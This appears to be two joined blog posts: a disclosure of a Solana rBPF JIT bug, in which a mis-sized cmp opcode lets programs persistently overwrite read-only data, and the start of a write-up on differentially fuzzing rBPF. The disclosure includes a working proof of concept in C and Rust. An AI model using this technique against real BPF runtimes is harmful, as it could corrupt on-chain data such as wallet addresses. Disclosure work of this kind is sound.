X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0
Okay – so the x86 cmp instruction to find is one that uses a
destination of [rax+0x19]
. A couple rsi
later to find such an
instruction and we find:
cmp DWORD PTR [rax+0x19], 0x0
Which is, notably, not using an 8-bit operand as the cmp_immediate
call suggests. So what’s going on here?
Here is the definition of X86Instruction::cmp_immediate:
pub fn cmp_immediate(
size: OperandSize,
destination: u8,
immediate: i64,
indirect: Option<X86IndirectAccess>,
) -> Self {
Self {
size,
opcode: 0x81,
first_operand: RDI,
second_operand: destination,
immediate_size: OperandSize::S32,
immediate,
indirect,
..Self::default()
}
}
This creates an x86 instruction with the opcode 0x81. Inspecting closer and cross-referencing with an x86-64 opcode reference, you can find that opcode 0x81 is only defined for 16-, 32-, and 64-bit register operands. If you want to use an 8-bit register operand, you’ll need to use the 0x80 opcode variant.
This is precisely the patch applied.
This bug actually was a bit weirder than it seems at first. Due to differences in Rust struct padding between versions, at the time that I reported the bug, the difference was spurious in stable release. As a result, it’s quite likely that no one would have noticed the bug until the next Rust release version.
From my report:
It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.
Alright, now to create a PoC so that the people inspecting the bug can validate it. Like last time, we’ll create an ELF, along with a few different demonstrations of the effects of the bug. Specifically, we want to demonstrate that read-only values in the BPF target can be modified persistently, as our writes affect the executable and thus all future executions of the JIT program.
This program should fail, as the data to be overwritten should be
read-only. It will be executed by howdy.rs
.
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
log(data, 5);
char *overwritten = (char *)data;
overwritten[0] = 'e';
overwritten[1] = 'v';
overwritten[2] = 'i';
overwritten[3] = 'l';
overwritten[4] = '!';
log(data, 5);
return 0;
}
This program loads the compiled version of value_in_ro.c
and
attaches a log syscall so that we can see the behaviour internally.
I confirmed that this syscall did not affect the runtime
behaviour.
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
elf::Executable,
insn_builder::{
BpfCode,
Instruction,
IntoBytes,
MemSize,
},
user_error::UserError,
verifier::check,
vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
}
This program, when executed, has the following output:
howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!
These first two files demonstrate the ability to overwrite the
readonly data present in binaries persistently. Notice that we
actually execute the JIT’d code multiple times, yet our changes
to the value in data
are persistent.
Suppose that there was a faulty offset or a user-controlled offset present in a BPF-based on-chain program. A malicious user could modify the readonly data of the program to replace certain contexts. In the best case scenario, this might lead to DoS of the program. In the worst case, this could lead to the replacement of fund amounts, of wallet addresses, etc.
Having assembled my proof-of-concepts, my implications, and so on, I sent in the following report to Solana on February 4th:
An incorrectly sized memory operand emitted by src/jit.rs:1490 may lead to .rodata section corruption due to an incorrect is_writable check. The cmp emitted is cmp DWORD PTR [rax+0x19], 0x0. As a result, when the uninitialised data present in the field padding of MemoryRegion is non-zero, the comparison will fail and assume that the section is writable. The data which is overwritten is persistent during the lifetime of the Executable instance as the data overwritten is in Executable.ro_section and thus affects future executions of the program without recompilation.
It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.
The first attack scenario where this vulnerability may be leveraged is in corruption of believed read-only data; see value_in_ro.{c,so} (intended to be placed within tests/elfs/) as an example of this behaviour. The example provided is contrived, but in scenarios where BPF programs do not correctly sanitise offsets in input, it may be possible for remote attackers to craft payloads which corrupt data within the .rodata section and thus replace secrets, operational data, etc. In the worst case, this may include replacement of critical data such as fixed wallet addresses for the lifetime of the Executable instance, which may be many executions. To test this behaviour, refer to howdy.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.
The second attack scenario is in corruption of BPF source code, which poisons future analysis and compilation. In the worst case (which is probably not a valid scenario), if the Executable is erroneously JIT compiled a second time after being executed in JIT once, the JIT compilation may emit unchecked BPF instructions as the verifier used in from_elf/from_text_bytes is not used per-compilation. Analysis and tracing is similarly corrupted, which may be leveraged to obscure or misrepresent the instructions which were previously executed. An example of the latter is provided in analysis-corruption.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.
While this vulnerability is largely uncategorised by the security policy provided, due to the possibility of the corruption of believed read-only data, I propose that this vulnerability be categorised under Other Attacks or Safety Violations.
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
log(data, 5);
char *overwritten = (char *)data;
overwritten[0] = 'e';
overwritten[1] = 'v';
overwritten[2] = 'i';
overwritten[3] = 'l';
overwritten[4] = '!';
log(data, 5);
return 0;
}
use std::collections::BTreeMap;
use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
let mut code = BpfCode::default();
code
.load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
.load(MemSize::Word).set_imm(1).push()
.store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
.exit().push();
let prog = code.into_bytes();
assert!(check(prog, &config).is_ok());
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
let jit_tracer = jit_vm.get_tracer();
let analysis = Analysis::from_executable(&executable);
let stderr = std::io::stderr();
jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
use std::fs::File;
use std::io::Read;
use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
}
The bug was patched in a mere 4 hours.
Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k. I disagreed strongly with this classification, but Solana said that due to the low likelihood of the exploitation of this bug (requiring a vulnerability in the on-chain program) they would offer $100k instead of the originally suggested $1m or $400k. They would not move on this point.
However, I would offer that (was that the actually basis for bug classification) that they should update their Security Policy to reflect that meaning. It was obviously very disappointing to hear that they would not be offering the bounty I expected given the classification categories provided.
It would be bad form of me to not explain the incredible flexibility shown by Solana in terms of how they handled my payout. I intended to donate the funds to the Texas A&M Cybersecurity Club, at which I gained a lot of the skills necessary to perform this research and these exploits, and Solana was very willing to sidestep their listed policy and donate the funds directly in USD rather than making me handle the tokens on my own, which would have dramatically affected how much I could have donated due to tax. So, despite my concerns regarding their policy, I was very pleased with their willingness to accommodate my wishes with the bounty payout.
]]>If you’re here just for the bug disclosures, see Part 2, though I encourage you all, even those who have not yet tried their hand at fuzzing, to read through this.
A few friends and I ran a little Discord server (now a Matrix space) which in which we discussed security and vulnerability research techniques. One of the things we have running in the server is a bot which posts every single CVE as they come out. And, yeah, I read a lot of them.
One day, the bot posted something that caught my eye:
This marks the beginning of our timeline: January 28th. I had noticed this CVE in particular for two reasons:
This CVE showed up almost immediately after I had developed some relatively intensive fuzzing for some of my own Rust software (specifically, a crate for verifying sokoban solutions where I had observed similar issues and thought “that looks familiar”).
Knowing what I had learned from my experience fuzzing my own software and that bugs in Rust programs could be quite easily found with the combo of cargo fuzz and arbitrary, I thought: “hey, why not?”.
Solana, as several of you likely know, “is a decentralized blockchain built to enable scalable, user-friendly apps for the world”. They primarily are known for their cryptocurrency, SOL, but also are a blockchain which operates really any form of smart contract.
rBPF in particular is a self-described “Rust virtual machine and JIT compiler for eBPF programs”. Notably, it implements both an interpreter and a JIT compiler for BPF programs. In other words: two different implementations of the same program, which theoretically exhibited the same behaviour when executed.
I was lucky enough to both take a software testing course in university and to have been part of a research group doing fuzzing (admittedly, we were fuzzing hardware, not software, but the concepts translate). A concept that I had hung onto in particular is the idea of test oracles – a way to distinguish what is “correct” behaviour and what is not in a design under test.
In particular, something that stood out to me about the presence of both an interpreter and a JIT compiler in rBPF is that we, in effect, had a perfect pseudo-oracle; as Wikipedia puts it:
a separately written program which can take the same input as the program or system under test so that their outputs may be compared to understand if there might be a problem to investigate.
Those of you who have more experience in fuzzing will recognise this concept as differential fuzzing, but I think we can often overlook that differential fuzzing is just another face of a pseudo-oracle.
In this particular case, we can execute the interpreter, one implementation of rBPF, and then execute the JIT compiled version, another implementation, with the same inputs (i.e., memory state, entrypoint, code, etc.) and see if their outputs are different. If they are, one of them must necessarily be incorrect per the description of the rBPF crate: two implementations of exactly the same behaviour.
To start off, let’s try to throw a bunch of inputs at it without really tuning to anything in particular. This allows us to sanity check that our basic fuzzing implementation actually works as we expect.
First, we need to figure out how to execute the interpreter. Thankfully, there
are several examples of this readily available in a variety of tests. I
referenced the test_interpreter_and_jit
macro present in
ubpf_execution.rs
as the basis for how my so-called “dumb” fuzzer
executes.
I’ve provided a sequence of components you can look at one chunk at a time before moving onto the whole fuzzer. Just click on the dropdowns to view the code relevant to that step. You don’t necessarily need to to understand the point of this post.
We must define our inputs such that it’s actually useful for our fuzzer. Thankfully, arbitrary makes it near trivial to derive an input from raw bytes.
#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
template: ConfigTemplate,
prog: Vec<u8>,
mem: Vec<u8>,
}
If you want to see the definition of ConfigTemplate, you can check it out in common.rs, but all you need to know is that its purpose is to test the interpreter under a variety of different execution configurations. It’s not particularly important to understand the fundamental bits of the fuzzer.
Setting up the fuzz target and the VM comes next. This will allow us to not only execute our test, but later to actually check if the behaviour is correct.
fuzz_target!(|data: DumbFuzzData| {
let prog = data.prog;
let config = data.template.into();
if check(&prog, &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
&prog,
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();
// TODO in step 3
});
You can find the details for how fuzz_target
works from the
Rust Fuzz Book
which goes over how it works in higher detail than would be appropriate here.
In this step, we just execute the VM with our provided input. In future iterations, we’ll compare the output of interpreter vs JIT, but in this version, we’re just executing the interpreter to see if we can induce crashes.
fuzz_target!(|data: DumbFuzzData| {
// see step 2 for this bit
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1024 },
)));
});
I use black_box here but I’m not entirely convinced that it’s necessary. I added it to ensure that the result of the interpreted program’s execution isn’t simply discarded and thus the execution marked unnecessary, but I’m fairly certain it wouldn’t be regardless.
Note that we are not checking for if the execution failed here. If the BPF program fails: we don’t care! We only care if the VM crashes for any reason.
Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.
#![feature(bench_black_box)]
#![no_main]
use std::collections::BTreeMap;
use std::hint::black_box;
use libfuzzer_sys::fuzz_target;
use solana_rbpf::{
ebpf,
elf::{register_bpf_function, Executable},
memory_region::MemoryRegion,
user_error::UserError,
verifier::check,
vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use crate::common::ConfigTemplate;
mod common;
#[derive(arbitrary::Arbitrary, Debug)]
struct DumbFuzzData {
template: ConfigTemplate,
prog: Vec<u8>,
mem: Vec<u8>,
}
fuzz_target!(|data: DumbFuzzData| {
let prog = data.prog;
let config = data.template.into();
if check(&prog, &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
&prog,
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mut mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1024 },
)));
});
Theoretically, an up-to-date version is available in the rBPF repo.
$ cargo +nightly fuzz run dumb -- -max_total_time=300
... snip ...
#2902510 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 134/3126 MS: 3 ChangeBit-InsertByte-PersAutoDict- DE: "\x07\xff\xff3"-
#2902537 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9675 rss: 355Mb L: 60/3126 MS: 2 ChangeBinInt-EraseBytes-
#2905608 REDUCE cov: 1092 ft: 2147 corp: 724/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 101/3126 MS: 1 EraseBytes-
#2905770 NEW cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9685 rss: 355Mb L: 61/3126 MS: 2 ShuffleBytes-CrossOver-
#2906805 DONE cov: 1092 ft: 2155 corp: 725/58Kb lim: 4096 exec/s: 9657 rss: 355Mb
Done 2906805 runs in 301 second(s)
After executing the fuzzer, we can evaluate its effectiveness at finding
interesting inputs by checking its coverage after executing for a given time
(note the use of the -max_total_time
flag). In this case, I want to
determine just how well it covers the function which handles
interpreter execution.
To do so, I issue the following commands:
$ cargo +nightly fuzz coverage dumb
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/dumb -instr-profile=fuzz/coverage/dumb/coverage.profdata -show-line-counts-or-regions -name=execute_program_interpreted_inner
If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.
<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
709| 763| fn execute_program_interpreted_inner(
710| 763| &mut self,
711| 763| instruction_meter: &mut I,
712| 763| initial_insn_count: u64,
713| 763| last_insn_count: &mut u64,
714| 763| ) -> ProgramResult<E> {
715| 763| // R1 points to beginning of input memory, R10 to the stack of the first frame
716| 763| let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
717| 763| reg[1] = ebpf::MM_INPUT_START;
718| 763|
719| 763| // Loop on instructions
720| 763| let config = self.executable.get_config();
721| 763| let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
^0
722| 763| let mut remaining_insn_count = initial_insn_count;
723| 136k| while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
724| 135k| *last_insn_count += 1;
725| 135k| let pc = next_pc;
726| 135k| next_pc += 1;
727| 135k| let mut instruction_width = 1;
728| 135k| let mut insn = ebpf::get_insn_unchecked(self.program, pc);
729| 135k| let dst = insn.dst as usize;
730| 135k| let src = insn.src as usize;
731| 135k|
732| 135k| if config.enable_instruction_tracing {
733| 0| let mut state = [0u64; 12];
734| 0| state[0..11].copy_from_slice(®);
735| 0| state[11] = pc as u64;
736| 0| self.tracer.trace(state);
737| 135k| }
738| |
739| 135k| match insn.opc {
740| 135k| _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
741| 361| match insn.opc {
742| 16| ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
743| 345| ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
744| | _ => {
745| | #[cfg(debug_assertions)]
746| 0| unreachable!("unexpected insn on r11")
747| | }
748| | }
749| | }
750| |
751| | // BPF_LD class
752| | // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
753| | // bother re-fetching it, just use ebpf::MM_INPUT_START already.
754| | ebpf::LD_ABS_B => {
755| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
756| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^0
757| 0| reg[0] = unsafe { *host_ptr as u64 };
758| | },
759| | ebpf::LD_ABS_H => {
760| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
761| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^0
762| 0| reg[0] = unsafe { *host_ptr as u64 };
763| | },
764| | ebpf::LD_ABS_W => {
765| 2| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
766| 2| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^0
767| 0| reg[0] = unsafe { *host_ptr as u64 };
768| | },
769| | ebpf::LD_ABS_DW => {
770| 4| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
771| 4| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^0
772| 0| reg[0] = unsafe { *host_ptr as u64 };
773| | },
774| | ebpf::LD_IND_B => {
775| 2| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
776| 2| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^0
777| 0| reg[0] = unsafe { *host_ptr as u64 };
778| | },
779| | ebpf::LD_IND_H => {
780| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
781| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^0
782| 0| reg[0] = unsafe { *host_ptr as u64 };
783| | },
784| | ebpf::LD_IND_W => {
785| 7| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
786| 7| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^0
787| 0| reg[0] = unsafe { *host_ptr as u64 };
788| | },
789| | ebpf::LD_IND_DW => {
790| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
791| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^0
792| 0| reg[0] = unsafe { *host_ptr as u64 };
793| | },
794| |
795| 0| ebpf::LD_DW_IMM => {
796| 0| ebpf::augment_lddw_unchecked(self.program, &mut insn);
797| 0| instruction_width = 2;
798| 0| next_pc += 1;
799| 0| reg[dst] = insn.imm as u64;
800| 0| },
801| |
802| | // BPF_LDX class
803| | ebpf::LD_B_REG => {
804| 18| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
805| 18| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^2
806| 2| reg[dst] = unsafe { *host_ptr as u64 };
807| | },
808| | ebpf::LD_H_REG => {
809| 18| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
810| 18| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^6
811| 6| reg[dst] = unsafe { *host_ptr as u64 };
812| | },
813| | ebpf::LD_W_REG => {
814| 365| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
815| 365| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^348
816| 348| reg[dst] = unsafe { *host_ptr as u64 };
817| | },
818| | ebpf::LD_DW_REG => {
819| 15| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
820| 15| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^5
821| 5| reg[dst] = unsafe { *host_ptr as u64 };
822| | },
823| |
824| | // BPF_ST class
825| | ebpf::ST_B_IMM => {
826| 26| let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
827| 26| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
^20
828| 20| unsafe { *host_ptr = insn.imm as u8 };
829| | },
830| | ebpf::ST_H_IMM => {
831| 23| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
832| 23| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
^13
833| 13| unsafe { *host_ptr = insn.imm as u16 };
834| | },
835| | ebpf::ST_W_IMM => {
836| 12| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
837| 12| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
^5
838| 5| unsafe { *host_ptr = insn.imm as u32 };
839| | },
840| | ebpf::ST_DW_IMM => {
841| 17| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
842| 17| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
^11
843| 11| unsafe { *host_ptr = insn.imm as u64 };
844| | },
845| |
846| | // BPF_STX class
847| | ebpf::ST_B_REG => {
848| 17| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
849| 17| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
^3
850| 3| unsafe { *host_ptr = reg[src] as u8 };
851| | },
852| | ebpf::ST_H_REG => {
853| 13| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
854| 13| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
^3
855| 3| unsafe { *host_ptr = reg[src] as u16 };
856| | },
857| | ebpf::ST_W_REG => {
858| 19| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
859| 19| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
^7
860| 7| unsafe { *host_ptr = reg[src] as u32 };
861| | },
862| | ebpf::ST_DW_REG => {
863| 8| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
864| 8| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
^2
865| 2| unsafe { *host_ptr = reg[src] as u64 };
866| | },
867| |
868| | // BPF_ALU class
869| 1.06k| ebpf::ADD32_IMM => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32) as u64,
870| 695| ebpf::ADD32_REG => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32) as u64,
871| 710| ebpf::SUB32_IMM => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32) as u64,
872| 345| ebpf::SUB32_REG => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32) as u64,
873| 1.03k| ebpf::MUL32_IMM => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32) as u64,
874| 2.07k| ebpf::MUL32_REG => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32) as u64,
875| 1.03k| ebpf::DIV32_IMM => reg[dst] = (reg[dst] as u32 / insn.imm as u32) as u64,
876| | ebpf::DIV32_REG => {
877| 4| if reg[src] as u32 == 0 {
878| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
879| 2| }
880| 2| reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
881| | },
882| | ebpf::SDIV32_IMM => {
883| 346| if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
^0
884| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
885| 346| }
886| 346| reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
887| | }
888| | ebpf::SDIV32_REG => {
889| 13| if reg[src] as i32 == 0 {
890| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
891| 11| }
892| 11| if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
^0
893| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
894| 11| }
895| 11| reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
896| | },
897| 346| ebpf::OR32_IMM => reg[dst] = (reg[dst] as u32 | insn.imm as u32) as u64,
898| 351| ebpf::OR32_REG => reg[dst] = (reg[dst] as u32 | reg[src] as u32) as u64,
899| 345| ebpf::AND32_IMM => reg[dst] = (reg[dst] as u32 & insn.imm as u32) as u64,
900| 1.03k| ebpf::AND32_REG => reg[dst] = (reg[dst] as u32 & reg[src] as u32) as u64,
901| 0| ebpf::LSH32_IMM => reg[dst] = (reg[dst] as u32).wrapping_shl(insn.imm as u32) as u64,
902| 369| ebpf::LSH32_REG => reg[dst] = (reg[dst] as u32).wrapping_shl(reg[src] as u32) as u64,
903| 0| ebpf::RSH32_IMM => reg[dst] = (reg[dst] as u32).wrapping_shr(insn.imm as u32) as u64,
904| 346| ebpf::RSH32_REG => reg[dst] = (reg[dst] as u32).wrapping_shr(reg[src] as u32) as u64,
905| 690| ebpf::NEG32 => { reg[dst] = (reg[dst] as i32).wrapping_neg() as u64; reg[dst] &= u32::MAX as u64; },
906| 347| ebpf::MOD32_IMM => reg[dst] = (reg[dst] as u32 % insn.imm as u32) as u64,
907| | ebpf::MOD32_REG => {
908| 4| if reg[src] as u32 == 0 {
909| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
910| 2| }
911| 2| reg[dst] = (reg[dst] as u32 % reg[src] as u32) as u64;
912| | },
913| 1.04k| ebpf::XOR32_IMM => reg[dst] = (reg[dst] as u32 ^ insn.imm as u32) as u64,
914| 2.74k| ebpf::XOR32_REG => reg[dst] = (reg[dst] as u32 ^ reg[src] as u32) as u64,
915| 349| ebpf::MOV32_IMM => reg[dst] = insn.imm as u32 as u64,
916| 1.03k| ebpf::MOV32_REG => reg[dst] = (reg[src] as u32) as u64,
917| 0| ebpf::ARSH32_IMM => { reg[dst] = (reg[dst] as i32).wrapping_shr(insn.imm as u32) as u64; reg[dst] &= u32::MAX as u64; },
918| 2| ebpf::ARSH32_REG => { reg[dst] = (reg[dst] as i32).wrapping_shr(reg[src] as u32) as u64; reg[dst] &= u32::MAX as u64; },
919| 0| ebpf::LE => {
920| 0| reg[dst] = match insn.imm {
921| 0| 16 => (reg[dst] as u16).to_le() as u64,
922| 0| 32 => (reg[dst] as u32).to_le() as u64,
923| 0| 64 => reg[dst].to_le(),
924| | _ => {
925| 0| return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
926| | }
927| | };
928| | },
929| 0| ebpf::BE => {
930| 0| reg[dst] = match insn.imm {
931| 0| 16 => (reg[dst] as u16).to_be() as u64,
932| 0| 32 => (reg[dst] as u32).to_be() as u64,
933| 0| 64 => reg[dst].to_be(),
934| | _ => {
935| 0| return Err(EbpfError::InvalidInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
936| | }
937| | };
938| | },
939| |
940| | // BPF_ALU64 class
